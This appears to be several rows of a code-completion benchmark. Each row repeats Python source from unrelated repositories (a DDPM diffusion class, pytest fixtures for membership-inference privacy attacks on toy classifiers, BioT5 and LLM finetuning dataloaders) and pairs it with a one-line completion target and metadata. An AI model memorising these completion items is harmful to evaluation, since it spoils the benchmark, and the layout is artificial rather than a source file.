only_model=load_only_unet) self.register_schedule(given_betas=given_betas, beta_schedule=beta_schedule, timesteps=timesteps, linear_start=linear_start, linear_end=linear_end, cosine_s=cosine_s) self.loss_type = loss_type self.learn_logvar = learn_logvar self.logvar = torch.full(fill_value=logvar_init, size=(self.num_timesteps,)) if self.learn_logvar: self.logvar = nn.Parameter(self.logvar, requires_grad=True) self.ucg_training = ucg_training or dict() if self.ucg_training: self.ucg_prng = np.random.RandomState() def register_schedule(self, given_betas=None, beta_schedule="linear", timesteps=1000, linear_start=1e-4, linear_end=2e-2, cosine_s=8e-3):
""" wild mixture of https://github.com/lucidrains/denoising-diffusion-pytorch/blob/7706bdfc6f527f58d33f84b7b522e61e6e3164b3/denoising_diffusion_pytorch/denoising_diffusion_pytorch.py https://github.com/openai/improved-diffusion/blob/e94489283bb876ac1477d5dd7709bbbd2d9902ce/improved_diffusion/gaussian_diffusion.py https://github.com/CompVis/taming-transformers -- merci """ __conditioning_keys__ = {'concat': 'c_concat', 'crossattn': 'c_crossattn', 'adm': 'y'} def disabled_train(self, mode=True): """Overwrite model.train with this function to make sure train/eval mode does not change anymore.""" return self def uniform_on_device(r1, r2, shape, device): return (r1 - r2) * torch.rand(*shape, device=device) + r2 class DDPM(pl.LightningModule): # classic DDPM with Gaussian diffusion, in image space def __init__(self, unet_config, timesteps=1000, beta_schedule="linear", loss_type="l2", ckpt_path=None, ignore_keys=[], load_only_unet=False, monitor="val/loss", use_ema=True, first_stage_key="image", image_size=256, channels=3, log_every_t=100, clip_denoised=True, linear_start=1e-4, linear_end=2e-2, cosine_s=8e-3, given_betas=None, original_elbo_weight=0., v_posterior=0., # weight for choosing posterior variance as sigma = (1-v) * beta_tilde + v * beta l_simple_weight=1., conditioning_key=None, parameterization="eps", # all assuming fixed variance schedules scheduler_config=None, use_positional_encodings=False, learn_logvar=False, logvar_init=0., make_it_fit=False, ucg_training=None, ): super().__init__() assert parameterization in ["eps", "x0"], 'currently only supporting "eps" and "x0"' self.parameterization = parameterization print(f"{self.__class__.__name__}: Running in {self.parameterization}-prediction mode") self.cond_stage_model = None self.clip_denoised = clip_denoised self.log_every_t = log_every_t self.first_stage_key = first_stage_key self.image_size = image_size # try conv? self.channels = channels self.use_positional_encodings = use_positional_encodings self.model = DiffusionWrapper(unet_config, conditioning_key) count_params(self.model, verbose=True) self.use_ema = use_ema if self.use_ema: self.model_ema = LitEma(self.model) print(f"Keeping EMAs of {len(list(self.model_ema.buffers()))}.") self.use_scheduler = scheduler_config is not None if self.use_scheduler: self.scheduler_config = scheduler_config self.v_posterior = v_posterior self.original_elbo_weight = original_elbo_weight self.l_simple_weight = l_simple_weight if monitor is not None: self.monitor = monitor self.make_it_fit = make_it_fit if ckpt_path is not None: self.init_from_ckpt(ckpt_path, ignore_keys=ignore_keys, only_model=load_only_unet) self.register_schedule(given_betas=given_betas, beta_schedule=beta_schedule, timesteps=timesteps, linear_start=linear_start, linear_end=linear_end, cosine_s=cosine_s) self.loss_type = loss_type self.learn_logvar = learn_logvar self.logvar = torch.full(fill_value=logvar_init, size=(self.num_timesteps,)) if self.learn_logvar: self.logvar = nn.Parameter(self.logvar, requires_grad=True) self.ucg_training = ucg_training or dict() if self.ucg_training: self.ucg_prng = np.random.RandomState() def register_schedule(self, given_betas=None, beta_schedule="linear", timesteps=1000, linear_start=1e-4, linear_end=2e-2, cosine_s=8e-3):
if exists(given_betas):
1
2023-10-11 04:06:20+00:00
12k
oracle/guardian-ai
tests/unitary/test_privacy_attacks.py
[ { "identifier": "ClassificationDataset", "path": "guardian_ai/privacy_estimation/dataset.py", "snippet": "class ClassificationDataset(Dataset):\n \"\"\"\n Generic classification dataset in a tabular format, read in a somewhat consistent manner\n \"\"\"\n\n def __init__(self, name, df_x=None,...
import guardian_ai.privacy_estimation.attack import pytest import pandas as pd from guardian_ai.privacy_estimation.dataset import ( ClassificationDataset, DataSplit, TargetModelData, AttackModelData, ) from guardian_ai.privacy_estimation.attack import AttackType from guardian_ai.privacy_estimation.attack_runner import AttackRunner from guardian_ai.privacy_estimation.model import ( RandomForestTargetModel, LogisticRegressionTargetModel, MLPTargetModel, ) from tests.utils import get_dummy_dataset
10,450
#!/usr/bin/env python # -*- coding: utf-8 -*-- # Copyright (c) 2023 Oracle and/or its affiliates. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/ @pytest.fixture(scope="module") def dataset(): input_features, target = get_dummy_dataset(n_samples=500, n_features=5, n_classes=2) dataset = ClassificationDataset("dummy_data") dataset.load_data_from_df(input_features, target) return dataset @pytest.fixture(scope="module") def dataset_split_ratios(): dataset_split_ratios = { DataSplit.ATTACK_TRAIN_IN: 0.1, # fraction of datapoints for training the # attack model, included in target model training set DataSplit.ATTACK_TRAIN_OUT: 0.1, # fraction of datapoints for training the # attack model, not included in target model training set DataSplit.ATTACK_TEST_IN: 0.2, # fraction of datapoints for evaluating the # attack model, included in target model training set DataSplit.ATTACK_TEST_OUT: 0.2, # fraction of datapoints for evaluating the # attack model, not included in target model training set DataSplit.TARGET_ADDITIONAL_TRAIN: 0.1, # fraction of datapoints included in # target model training set, not used in the attack training or testing DataSplit.TARGET_VALID: 0.1, # fraction of datapoints for tuning the target model DataSplit.TARGET_TEST: 0.2 # fraction of datapoints for evaluating the # target model } return dataset_split_ratios @pytest.fixture(scope="module") def target_models(): target_models = [] target_models.append(RandomForestTargetModel()) target_models.append(LogisticRegressionTargetModel()) target_models.append(MLPTargetModel()) return target_models @pytest.fixture(scope="module") def attacks(): attacks = [] attacks.append(AttackType.LossBasedBlackBoxAttack) attacks.append(AttackType.ExpectedLossBasedBlackBoxAttack) attacks.append(AttackType.ConfidenceBasedBlackBoxAttack) attacks.append(AttackType.ExpectedConfidenceBasedBlackBoxAttack) attacks.append(AttackType.MerlinAttack) attacks.append(AttackType.CombinedBlackBoxAttack) attacks.append(AttackType.CombinedWithMerlinBlackBoxAttack) attacks.append(AttackType.MorganAttack) return attacks @pytest.fixture(scope="module") def threshold_grids(): threshold_grids = { AttackType.LossBasedBlackBoxAttack.name: [ -0.0001, -0.001, -0.01, -0.05, -0.1, -0.3, -0.5, -0.7, -0.9, -1.0, -1.5, -10, -50, -100, ], AttackType.ConfidenceBasedBlackBoxAttack.name: [ 0.001, 0.01, 0.1, 0.3, 0.5, 0.7, 0.9, 0.99, 0.999, 1.0, ], AttackType.MerlinAttack.name: [ 0.001, 0.01, 0.1, 0.3, 0.5, 0.7, 0.9, 0.99, 0.999, 1.0, ], } return threshold_grids @pytest.fixture(scope="module") def metric_functions(): return ["precision", "recall", "f1", "accuracy"] @pytest.fixture(scope="module") def attack_runner(dataset, target_models, attacks, threshold_grids):
#!/usr/bin/env python # -*- coding: utf-8 -*-- # Copyright (c) 2023 Oracle and/or its affiliates. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/ @pytest.fixture(scope="module") def dataset(): input_features, target = get_dummy_dataset(n_samples=500, n_features=5, n_classes=2) dataset = ClassificationDataset("dummy_data") dataset.load_data_from_df(input_features, target) return dataset @pytest.fixture(scope="module") def dataset_split_ratios(): dataset_split_ratios = { DataSplit.ATTACK_TRAIN_IN: 0.1, # fraction of datapoints for training the # attack model, included in target model training set DataSplit.ATTACK_TRAIN_OUT: 0.1, # fraction of datapoints for training the # attack model, not included in target model training set DataSplit.ATTACK_TEST_IN: 0.2, # fraction of datapoints for evaluating the # attack model, included in target model training set DataSplit.ATTACK_TEST_OUT: 0.2, # fraction of datapoints for evaluating the # attack model, not included in target model training set DataSplit.TARGET_ADDITIONAL_TRAIN: 0.1, # fraction of datapoints included in # target model training set, not used in the attack training or testing DataSplit.TARGET_VALID: 0.1, # fraction of datapoints for tuning the target model DataSplit.TARGET_TEST: 0.2 # fraction of datapoints for evaluating the # target model } return dataset_split_ratios @pytest.fixture(scope="module") def target_models(): target_models = [] target_models.append(RandomForestTargetModel()) target_models.append(LogisticRegressionTargetModel()) target_models.append(MLPTargetModel()) return target_models @pytest.fixture(scope="module") def attacks(): attacks = [] attacks.append(AttackType.LossBasedBlackBoxAttack) attacks.append(AttackType.ExpectedLossBasedBlackBoxAttack) attacks.append(AttackType.ConfidenceBasedBlackBoxAttack) attacks.append(AttackType.ExpectedConfidenceBasedBlackBoxAttack) attacks.append(AttackType.MerlinAttack) attacks.append(AttackType.CombinedBlackBoxAttack) attacks.append(AttackType.CombinedWithMerlinBlackBoxAttack) attacks.append(AttackType.MorganAttack) return attacks @pytest.fixture(scope="module") def threshold_grids(): threshold_grids = { AttackType.LossBasedBlackBoxAttack.name: [ -0.0001, -0.001, -0.01, -0.05, -0.1, -0.3, -0.5, -0.7, -0.9, -1.0, -1.5, -10, -50, -100, ], AttackType.ConfidenceBasedBlackBoxAttack.name: [ 0.001, 0.01, 0.1, 0.3, 0.5, 0.7, 0.9, 0.99, 0.999, 1.0, ], AttackType.MerlinAttack.name: [ 0.001, 0.01, 0.1, 0.3, 0.5, 0.7, 0.9, 0.99, 0.999, 1.0, ], } return threshold_grids @pytest.fixture(scope="module") def metric_functions(): return ["precision", "recall", "f1", "accuracy"] @pytest.fixture(scope="module") def attack_runner(dataset, target_models, attacks, threshold_grids):
return AttackRunner(dataset, target_models, attacks, threshold_grids)
5
2023-10-09 09:48:50+00:00
12k
QizhiPei/BioT5
biot5/utils/model_utils.py
[ { "identifier": "compute_input_and_target_lengths", "path": "biot5/utils/copied_utils.py", "snippet": "def compute_input_and_target_lengths(inputs_length, noise_density, mean_noise_span_length):\n \"\"\"This function is copy of `random_spans_helper <https://github.com/google-research/text-to-text-tra...
import torch import datasets import os import itertools import math from torch.utils.data import DataLoader, IterableDataset from omegaconf import open_dict from datasets.iterable_dataset import IterableDataset from transformers import ( AutoTokenizer, T5ForConditionalGeneration, AutoConfig, ) from .copied_utils import ( compute_input_and_target_lengths, DataCollatorForT5MLM, tokenize_function, DataCollatorForNI, ) from .custom_utils import ( tokenize_function_seq_desc, DataCollatorForUnimptT5, ) from transformers import AdamW from .copied_utils import AdamWScale from transformers import Adafactor from torch.optim.lr_scheduler import ( SequentialLR, LinearLR, CosineAnnealingLR, ) from torch.optim.lr_scheduler import ( SequentialLR, LinearLR, LambdaLR, ) from transformers import get_scheduler
10,105
# dataset_uniref = datasets.load_dataset('agemagician/uniref50', streaming=True) # dataset_uniref = dataset_uniref.remove_columns(['id', 'name']) dataset_splits_protein = { 'train': dataset_uniref['train'], 'test': dataset_uniref['test'], } incontext_train_size = 1110 dataset_incontext = datasets.load_dataset('text', data_files={'train': [f'{args.incontext_data_dir}/pubmed22n{"{:04}".format(i)}.txt' for i in range(1, incontext_train_size)], 'test': [f'{args.incontext_data_dir}/pubmed22n{"{:04}".format(i)}.txt' for i in range(incontext_train_size, 1115)]}, streaming=True) dataset_splits_incontext = { 'train': dataset_incontext['train'], 'test': dataset_incontext['test'], } dataset_mol_text = datasets.load_dataset('csv', data_files=[f'{args.pair_data_dir}/mol_text_nolap.tsv'], delimiter='\t') assert len(dataset_mol_text['train']) == 339422 dataset_splits_mol_text = { 'train': dataset_mol_text['train'], 'test': dataset_mol_text['train'], } dataset_pro_text = datasets.load_dataset('csv', data_files=[f'{args.pair_data_dir}/pro_text.tsv'], delimiter='\t') assert len(dataset_pro_text['train']) == 569213 dataset_splits_pro_text = { 'train': dataset_pro_text['train'], 'test': dataset_pro_text['train'], } # TODO check the time effect of n_shards or num_workers # assert ( # dataset_c4['train'].n_shards == 1024 and dataset_zinc['train'].n_shards == 1024 and dataset_uniref['train'].n_shards == 1024 # ), "We want to have many shards for efficient processing with num_workes in PyTorch dataloader" elif args.mode == 'ft': dataset_splits = datasets.load_dataset( args.data.exec_file_path, data_dir=args.data.data_dir, task_dir=args.data.task_dir, max_num_instances_per_task=args.data.max_num_instances_per_task, max_num_instances_per_eval_task=args.data.max_num_instances_per_task ) return dataset_splits else: raise NotImplementedError return dataset_splits_text, dataset_splits_molecule, dataset_splits_protein, dataset_splits_incontext, dataset_splits_mol_text, dataset_splits_pro_text def process_dataset(dataset_splits, args, tokenizer): if args.mode == 'pt': final_datasets = {} for split, dataset_split in dataset_splits.items(): # We increase the input_length, because instead of masking tokens T5 replaces # masked spans with a single token, therefore to avoid padding we need to have # longer sequences at the start, before masking before_mask_input_length, target_length = compute_input_and_target_lengths( inputs_length=args.data.input_length, noise_density=args.data.mlm_probability, mean_noise_span_length=args.data.mean_noise_span_length, ) with open_dict(args): args.data.before_mask_input_length = before_mask_input_length args.data.target_length = target_length dataset_split = dataset_split.map( tokenize_function, batched=True, fn_kwargs={ 'tokenizer': tokenizer, 'in_length': before_mask_input_length, }, remove_columns=['text'], ) dataset_split = dataset_split.shuffle(buffer_size=10_000, seed=args.seed) final_datasets[split] = dataset_split elif args.mode == 'ft': final_datasets = dataset_splits else: raise NotImplementedError return final_datasets def process_dataset_seq_desc(dataset_splits, args, tokenizer): if args.mode == 'pt': final_datasets = {} for split, dataset_split in dataset_splits.items(): dataset_split = dataset_split.map( tokenize_function_seq_desc, batched=True, fn_kwargs={ 'tokenizer': tokenizer, 'max_length': args.data.input_length, }, remove_columns=['seq', 'desc'], ) dataset_split = dataset_split.shuffle(seed=args.seed) final_datasets[split] = dataset_split else: raise NotImplementedError return final_datasets def get_data_collator(tokenizer, config, args): if args.mode == 'pt': data_collator = DataCollatorForUnimptT5( tokenizer=tokenizer, noise_density=args.data.mlm_probability, mean_noise_span_length=args.data.mean_noise_span_length, input_length=args.data.input_length, target_length=args.data.target_length, pad_token_id=config.pad_token_id, ) elif args.mode == 'ft':
class MixedDataset(IterableDataset): def __init__(self, dataset_text, dataset_molecule, dataset_protein, dataset_incontext, dataset_mol_text, dataset_pro_text): self.dataset_text = dataset_text self.dataset_molecule = dataset_molecule self.dataset_protein = dataset_protein self.dataset_incontext = dataset_incontext self.dataset_mol_text = dataset_mol_text self.dataset_pro_text = dataset_pro_text def __iter__(self): text_iter = iter(self.dataset_text) molecule_iter = iter(self.dataset_molecule) protein_iter = iter(self.dataset_protein) incontext_iter = iter(self.dataset_incontext) mol_text_iter = iter(self.dataset_mol_text) pro_text_iter = iter(self.dataset_pro_text) while True: try: text_batch = next(text_iter) except StopIteration: text_iter = iter(self.dataset_text) text_batch = next(text_iter) try: molecule_batch = next(molecule_iter) except StopIteration: molecule_iter = iter(self.dataset_molecule) molecule_batch = next(molecule_iter) try: protein_batch = next(protein_iter) except StopIteration: protein_iter = iter(self.dataset_protein) protein_batch = next(protein_iter) try: incontext_batch = next(incontext_iter) except StopIteration: incontext_iter = iter(self.dataset_incontext) incontext_batch = next(incontext_iter) try: mol_text_batch = next(mol_text_iter) except StopIteration: mol_text_iter = iter(self.dataset_mol_text) mol_text_batch = next(mol_text_iter) try: pro_text_batch = next(pro_text_iter) except StopIteration: pro_text_iter = iter(self.dataset_pro_text) pro_text_batch = next(pro_text_iter) # Due to the multiple workers, the data in batch may be in random order yield text_batch, molecule_batch, protein_batch, incontext_batch, mol_text_batch, pro_text_batch def get_model(args, config, tokenizer, logger): if args.model.checkpoint_path: model = T5ForConditionalGeneration( config, ) model.resize_token_embeddings(len(tokenizer)) model.load_state_dict(torch.load(args.model.checkpoint_path), strict=True) torch.cuda.empty_cache() logger.log_message(f"Loaded model from {args.model.checkpoint_path}") elif args.model.random_init: model = T5ForConditionalGeneration( config, ) model.resize_token_embeddings(len(tokenizer)) else: model = T5ForConditionalGeneration.from_pretrained( args.model.name, config=config, ) return model def get_config(args): config = AutoConfig.from_pretrained( args.model.name, ) config.dropout_rate = args.model.dropout return config def get_tokenizer(args): tokenizer = AutoTokenizer.from_pretrained( args.model.name, use_fast=True ) tokenizer.model_max_length = int(1e9) amino_acids = [ "A", "C", "D", "E", "F", "G", "H", "I", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "Y" ] prefixed_amino_acids = [f"<p>{aa}" for aa in amino_acids] tokenizer.add_tokens(prefixed_amino_acids) selfies_dict_list = [line.strip() for line in open(os.path.join(__file__.split('biot5/utils')[0], args.molecule_dict))] tokenizer.add_tokens(selfies_dict_list) special_tokens_dict = {'additional_special_tokens': ['<bom>', '<eom>', '<bop>', '<eop>', 'MOLECULE NAME', 'DESCRIPTION', 'PROTEIN NAME', 'FUNCTION', 'SUBCELLULAR LOCATION', 'PROTEIN FAMILIES']} tokenizer.add_special_tokens(special_tokens_dict, replace_additional_special_tokens=False) return tokenizer def load_dataset_splits(args): if args.mode == 'pt': dataset_c4 = datasets.load_dataset( 'c4', 'en', streaming=True, ) dataset_c4 = dataset_c4.remove_columns( ['timestamp', 'url'] ) dataset_splits_text = { 'train': dataset_c4['train'], 'test': dataset_c4['validation'], } dataset_zinc = datasets.load_dataset('zpn/zinc20', streaming=True) # dataset_zinc = dataset_zinc.remove_columns(['id', 'selfies']) # dataset_zinc = dataset_zinc.rename_column('smiles', 'text') dataset_zinc = dataset_zinc.remove_columns(['id', 'smiles']) dataset_zinc = dataset_zinc.rename_column('selfies', 'text') def molecule_process(sequence): return '<bom>' + sequence + '<eom>' # Prepend <p> to every protein sequence in the protein dataset dataset_zinc = dataset_zinc.map(lambda example: {'text': molecule_process(example['text'])}) dataset_splits_molecule = { 'train': dataset_zinc['train'], 'test': dataset_zinc['validation'], } # Uniref90 with only 1 shards # dataset_uniref = datasets.load_dataset('zpn/uniref90', streaming=True, split='train') # dataset_uniref = dataset_uniref.remove_columns(['n', 'Tax', 'TaxID', 'RepID', 'description']) # dataset_uniref = dataset_uniref.rename_column('sequence', 'text') # Uniref50 # dataset_uniref = datasets.load_dataset('zpn/uniref50', streaming=True, split='train') # dataset_uniref = dataset_uniref.remove_columns(['n', 'Tax', 'TaxID', 'RepID', '__index_level_0__']) # dataset_uniref = dataset_uniref.rename_column('sequence', 'text') # dataset_uniref['validation'] = dataset_uniref['train'].take(2_000_000) # dataset_uniref['train'] = dataset_uniref['train'].skip(20_000_000) dataset_uniref = datasets.load_dataset('text', data_files= {'train': [f"{args.pair_data_dir}/uniref50_2018_03.train.seqs.pro.nospace_{i+1}" for i in range(10)], 'test': [f"{args.pair_data_dir}/uniref50_2018_03.valid.seqs.pro.nospace"]}, streaming=True) def protein_process(sequence, character): return '<bop>' + ''.join([character + c for c in sequence]) + '<eop>' # Prepend <p> to every protein sequence in the protein dataset dataset_uniref = dataset_uniref.map(lambda example: {'text': protein_process(example['text'], '<p>')}) # Uniref50 popular # dataset_uniref = datasets.load_dataset('agemagician/uniref50', streaming=True) # dataset_uniref = dataset_uniref.remove_columns(['id', 'name']) dataset_splits_protein = { 'train': dataset_uniref['train'], 'test': dataset_uniref['test'], } incontext_train_size = 1110 dataset_incontext = datasets.load_dataset('text', data_files={'train': [f'{args.incontext_data_dir}/pubmed22n{"{:04}".format(i)}.txt' for i in range(1, incontext_train_size)], 'test': [f'{args.incontext_data_dir}/pubmed22n{"{:04}".format(i)}.txt' for i in range(incontext_train_size, 1115)]}, streaming=True) dataset_splits_incontext = { 'train': dataset_incontext['train'], 'test': dataset_incontext['test'], } dataset_mol_text = datasets.load_dataset('csv', data_files=[f'{args.pair_data_dir}/mol_text_nolap.tsv'], delimiter='\t') assert len(dataset_mol_text['train']) == 339422 dataset_splits_mol_text = { 'train': dataset_mol_text['train'], 'test': dataset_mol_text['train'], } dataset_pro_text = datasets.load_dataset('csv', data_files=[f'{args.pair_data_dir}/pro_text.tsv'], delimiter='\t') assert len(dataset_pro_text['train']) == 569213 dataset_splits_pro_text = { 'train': dataset_pro_text['train'], 'test': dataset_pro_text['train'], } # TODO check the time effect of n_shards or num_workers # assert ( # dataset_c4['train'].n_shards == 1024 and dataset_zinc['train'].n_shards == 1024 and dataset_uniref['train'].n_shards == 1024 # ), "We want to have many shards for efficient processing with num_workes in PyTorch dataloader" elif args.mode == 'ft': dataset_splits = datasets.load_dataset( args.data.exec_file_path, data_dir=args.data.data_dir, task_dir=args.data.task_dir, max_num_instances_per_task=args.data.max_num_instances_per_task, max_num_instances_per_eval_task=args.data.max_num_instances_per_task ) return dataset_splits else: raise NotImplementedError return dataset_splits_text, dataset_splits_molecule, dataset_splits_protein, dataset_splits_incontext, dataset_splits_mol_text, dataset_splits_pro_text def process_dataset(dataset_splits, args, tokenizer): if args.mode == 'pt': final_datasets = {} for split, dataset_split in dataset_splits.items(): # We increase the input_length, because instead of masking tokens T5 replaces # masked spans with a single token, therefore to avoid padding we need to have # longer sequences at the start, before masking before_mask_input_length, target_length = compute_input_and_target_lengths( inputs_length=args.data.input_length, noise_density=args.data.mlm_probability, mean_noise_span_length=args.data.mean_noise_span_length, ) with open_dict(args): args.data.before_mask_input_length = before_mask_input_length args.data.target_length = target_length dataset_split = dataset_split.map( tokenize_function, batched=True, fn_kwargs={ 'tokenizer': tokenizer, 'in_length': before_mask_input_length, }, remove_columns=['text'], ) dataset_split = dataset_split.shuffle(buffer_size=10_000, seed=args.seed) final_datasets[split] = dataset_split elif args.mode == 'ft': final_datasets = dataset_splits else: raise NotImplementedError return final_datasets def process_dataset_seq_desc(dataset_splits, args, tokenizer): if args.mode == 'pt': final_datasets = {} for split, dataset_split in dataset_splits.items(): dataset_split = dataset_split.map( tokenize_function_seq_desc, batched=True, fn_kwargs={ 'tokenizer': tokenizer, 'max_length': args.data.input_length, }, remove_columns=['seq', 'desc'], ) dataset_split = dataset_split.shuffle(seed=args.seed) final_datasets[split] = dataset_split else: raise NotImplementedError return final_datasets def get_data_collator(tokenizer, config, args): if args.mode == 'pt': data_collator = DataCollatorForUnimptT5( tokenizer=tokenizer, noise_density=args.data.mlm_probability, mean_noise_span_length=args.data.mean_noise_span_length, input_length=args.data.input_length, target_length=args.data.target_length, pad_token_id=config.pad_token_id, ) elif args.mode == 'ft':
data_collator = DataCollatorForNI(
3
2023-10-11 09:00:33+00:00
12k
IST-DASLab/SparseFinetuning
llmfoundry/data/finetuning/dataloader.py
[ { "identifier": "Seq2SeqFinetuningCollator", "path": "llmfoundry/data/finetuning/collator.py", "snippet": "class Seq2SeqFinetuningCollator:\n \"\"\"A general-purpose collator for sequence-to-sequence training/evaluation.\n\n Args:\n tokenizer: A HuggingFace tokenizer. Must have a pad_token ...
import logging import os import torch import torch from composer.utils import dist, get_file, parse_uri from omegaconf import DictConfig from torch.utils.data import DataLoader from transformers import PreTrainedTokenizerBase from llmfoundry.data.finetuning.collator import Seq2SeqFinetuningCollator from llmfoundry.data.finetuning.tasks import dataset_constructor from llmfoundry.data.packing import BinPackWrapper from omegaconf import OmegaConf as om from llmfoundry.utils import build_tokenizer
7,933
discovered_illegal_keys = [] for key in illegal_keys: if dataset_cfg.get(key) is not None: discovered_illegal_keys.append('`' + key + '`') if discovered_illegal_keys: raise ValueError( 'The dataset config sets a value for `hf_name` as well as the ' +\ f'following keys: {", ".join(discovered_illegal_keys)}.\n' +\ 'Those keys are used when building from a streaming dataset, but ' +\ 'setting `hf_name` instructs the dataset to build from a HuggingFace dataset.' ) elif dataset_cfg.get('remote') is not None: # Using the streaming dataset codepath illegal_keys = ['hf_name', 'hf_kwargs', 'preprocessing_fn'] discovered_illegal_keys = [] for key in illegal_keys: if dataset_cfg.get(key) is not None: discovered_illegal_keys.append('`' + key + '`') if discovered_illegal_keys: raise ValueError( 'The dataset config sets a value for `remote` as well as the ' +\ f'following keys: {", ".join(discovered_illegal_keys)}.\n' +\ 'Those keys are used when building from a HuggingFace dataset, but ' +\ 'setting `remote` instructs the dataset to build from a streaming dataset.' ) if dataset_cfg.get('local') is None: raise ValueError( 'Using a streaming dataset requires setting both `remote` and `local`, ' +\ 'but dataset.local is None.' ) else: raise ValueError( 'In the dataset config, you must set either `hf_name` to use a ' +\ 'HuggingFace dataset or set `remote` to use a streaming ' +\ 'dataset, but both were None.' ) def _build_hf_dataset_from_remote(cfg: DictConfig, tokenizer: PreTrainedTokenizerBase): """Builds a dataset from a remote object store. This function supports 'jsonl', 'csv', and 'parquet' file formats for the dataset. It will attempt to download the dataset, then once it is downloaded, convert it into HuggingFace ``datasets`` format, and then return this dataset. The function also ensures synchronicity across multiple processes during the file download. It creates a signal file that is used to synchronize the start of the download across different processes. Once the download is completed, the function removes the signal file. Args: cfg (DictConfig): The configuration dictionary containing the necessary parameters to load the dataset. This includes: - dataset.hf_name: The path of the HuggingFace dataset to download. - dataset.split: The dataset split to download (e.g., 'train', 'validation', 'test'). - dataset.max_seq_len: The maximum sequence length for tokenizing the dataset. tokenizer (Tokenizer): The tokenizer to be used to tokenize the dataset. Returns: Dataset: A HuggingFace dataset built from the remote file, prepared and tokenized for fine-tuning the model. Raises: FileNotFoundError: Raised if the dataset file cannot be found with any of the supported extensions. """ supported_extensions = ['jsonl', 'csv', 'parquet'] finetune_dir = os.path.join( os.path.dirname(os.path.realpath(__file__)), f'downloaded_finetuning_data/{cfg.dataset.split}') os.makedirs(finetune_dir, exist_ok=True) for extension in supported_extensions: name = f'{cfg.dataset.hf_name.strip("/")}/{cfg.dataset.split}.{extension}' destination = str( os.path.abspath(f'{finetune_dir}/{cfg.dataset.split}.{extension}')) # Since we don't know exactly what the extension will be, since it is one of a list # use a signal file to wait for instead of the desired file signal_file_path = os.path.join(finetune_dir, '.the_eagle_has_landed') if dist.get_local_rank() == 0: try: get_file(name, destination, overwrite=True) except FileNotFoundError as e: if extension == supported_extensions[-1]: raise FileNotFoundError( f'Could not find a {cfg.dataset.split} file with any of ' + \ f'the supported extensions: {supported_extensions}\n' + \ f'at {cfg.dataset.hf_name}/{cfg.dataset.split}' ) from e else: print( f'Could not find {name}, looking for another extension') continue os.makedirs(os.path.dirname(signal_file_path), exist_ok=True) with open(signal_file_path, 'wb') as f: f.write(b'local_rank0_completed_download') # Avoid the collective call until the local rank zero has finished trying to download the checkpoint # so that we don't timeout for large downloads. This syncs all processes on the node with dist.local_rank_zero_download_and_wait(signal_file_path): # Then, wait to ensure every node has finished downloading the checkpoint dist.barrier() # clean up signal file if dist.get_local_rank() == 0: os.remove(signal_file_path) dist.barrier() cfg.dataset.hf_name = finetune_dir print(cfg.dataset) dataset = dataset_constructor.build_from_hf( cfg.dataset, max_seq_len=cfg.dataset.max_seq_len, tokenizer=tokenizer, ) return dataset def _build_collate_fn(dataset_cfg: DictConfig, tokenizer: PreTrainedTokenizerBase, device_batch_size: int):
# Copyright 2022 MosaicML LLM Foundry authors # SPDX-License-Identifier: Apache-2.0 log = logging.getLogger(__name__) # HuggingFace hardcodes the ignore index to -100 _HF_IGNORE_INDEX = -100 def build_finetuning_dataloader(cfg: DictConfig, tokenizer: PreTrainedTokenizerBase, device_batch_size: int) -> DataLoader: """Builds a finetuning dataloader for training or evaluating. The underlying dataset can be built through one of two code paths: 1. As a HuggingFace dataset, via `datasets.load_dataset(...)` 2. As a streaming dataset You will need to set slightly different dataset config fields depending on which you intend to use, as explained below. Args: cfg (DictConfig): An omegaconf dictionary used to configure the loader: cfg.name (str): The type of dataloader to build. Must = "finetuning". --- *** HuggingFace dataset config fields *** cfg.dataset.hf_name (str, optional): The name of the HuggingFace dataset to use. Can also be a remote http(s) directory or object store bucket containing the file {split}.jsonl in the format (prompt, response), in which case the builder will create a HuggingFace dataset. cfg.dataset.hf_kwargs (DictConfig, optional): Additional kwargs to pass to `datasets.load_dataset`, which can be used to load a dataset from local files. cfg.dataset.preprocessing_fn (str, optional): The name/import path of the preprocessing function to use for formatting the data examples. If ``None`` (default), the builder will use the preprocessing function registered under `hf_name` (see `tasks.py`), if one exists, otherwise it will skip preprocessing. If `preprocessing_fn` corresponds to a registered preprocessing function in `tasks.py`, the builder will use that. Otherwise, it will interpret `preprocessing_fn` as a "import.path:function_name" import path; e.g., it will call `from import.path import function_name` and use the imported function as the preprocessing function. *** Streaming dataset config fields *** cfg.dataset.remote (str, optional): Location of a MDS-formatted streaming dataset to use. Setting this will tell the builder to create a streaming dataset rather than a HuggingFace dataset. cfg.dataset.local (str, optional): Local path where remote data will be streamed to. Only valid if `cfg.dataset.remote` has also been set. *** Shared dataset configs fields *** cfg.dataset.max_seq_len (int): The maximum length of sequences in the batch. See :class:`Seq2SeqFinetuningCollator` docstring for details. cfg.dataset.decoder_only_format (bool): Whether to format the examples for a decoder-only model. See :class:`Seq2SeqFinetuningCollator` docstring for details. cfg.dataset.allow_pad_trimming (bool, optional): Whether to allow the collator to trim padding. See :class:`Seq2SeqFinetuningCollator` docstring for details. Default: ``False``. cfg.dataset.packing_ratio (float, optional): If provided, this invokes a collator wrapper that packs `device_batch_size*packing_ratio` raw examples into `device_batch_size` packed examples. This helps minimize padding while preserving sequence integrity. This adds `sequence_id` to the batch, which indicates which unique sequence each token belongs to. Note: Using this feature will not change device_batch_size but it will determine the number of raw examples consumed by the dataloader per batch. Some examples may be discarded if they do not fit when packing. Select `packing_ratio` **carefully** based on the dataset statistics, `max_seq_len`, and tolerance for discarding samples! The packing code in `../packing.py` provides a script that can help you choose the best `packing_ratio`. cfg.dataset.shuffle (bool): Whether to shuffle the dataset. ___ See :class:`StreamingFinetuningDataset` for info on other standard config options within `cfg.dataset` that will be passed as kwargs if using the streaming codepath. --- See :class:`DataLoader` for standard argument options to the pytorch dataloader, such as `cfg.drop_last`, `cfg.num_workers`, etc. tokenizer (transformers.PreTrainedTokenizer): The tokenizer used to prepare the data from raw text. Any missing sentinel tokens will be added by the collator. device_batch_size (int): The size of the batches (number of examples) that the dataloader will produce. Returns: A pytorch dataloader Note: You can run the script inside `../packing.py` to quickly test the padding/waste rates for different `cfg.dataset.packing_ratio` choices, given a starting workload YAML. """ _validate_config(cfg.dataset) # Use EOS as the pad token if none exists if tokenizer.pad_token is None: # type: ignore tokenizer.pad_token = tokenizer.eos_token dataset = None # for pyright if cfg.dataset.get('remote') is not None: dataset = dataset_constructor.build_from_streaming( 